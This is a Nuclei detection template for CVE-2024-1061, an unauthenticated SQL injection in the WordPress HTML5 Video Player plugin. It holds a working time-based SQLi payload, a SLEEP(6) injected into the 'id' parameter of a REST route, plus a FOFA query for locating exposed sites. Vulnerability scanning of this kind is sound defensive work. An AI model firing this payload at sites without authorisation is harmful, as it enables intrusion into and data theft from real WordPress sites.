nuclei-templates/http/cves/2024/CVE-2024-1061.yaml

50 lines
2.0 KiB
YAML

id: CVE-2024-1061
info:
name: WordPress HTML5 Video Player - SQL Injection
author: xxcdd
severity: critical
description: |
WordPress HTML5 Video Player plugin is vulnerable to SQL injection. An unauthenticated attacker can exploit this vulnerability to perform SQL injection attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to perform SQL injection attacks, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site.
remediation: |
Vendor did not acknowledge vulnerability but the issue seems to have been fixed in version 2.5.25.
reference:
- https://www.tenable.com/security/research/tra-2024-02
- https://wordpress.org/plugins/html5-video-player
- https://nvd.nist.gov/view/vuln/detail?vulnId=CVE-2024-1061
- https://github.com/tanjiti/sec_profile
- https://github.com/JoshuaMart/JoshuaMart
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-1061
cwe-id: CWE-89
epss-score: 0.00934
epss-percentile: 0.82678
cpe: cpe:2.3:a:bplugins:html5_video_player:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: bplugins
product: html5_video_player
framework: wordpress
fofa-query: "\"wordpress\" && body=\"html5-video-player\""
tags: cve,cve2024,wp,wordpress,wp-plugin,sqli,html5-video-player,bplugins
http:
- raw:
- |
@timeout: 20s
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'contains(header, "application/json")'
- 'contains_all(body, "created_at", "video_id")'
condition: and
# digest: 4b0a00483046022100bc9330743b2ba8e6430fd774e3edf739f4ce8503012c09069b49bcd1f0a4105f022100e3ea7db336d5b628198a71833e400f2c141a061fc25ff9120a4583b33c23988f:922c64590222798bb761d5b6d8e72950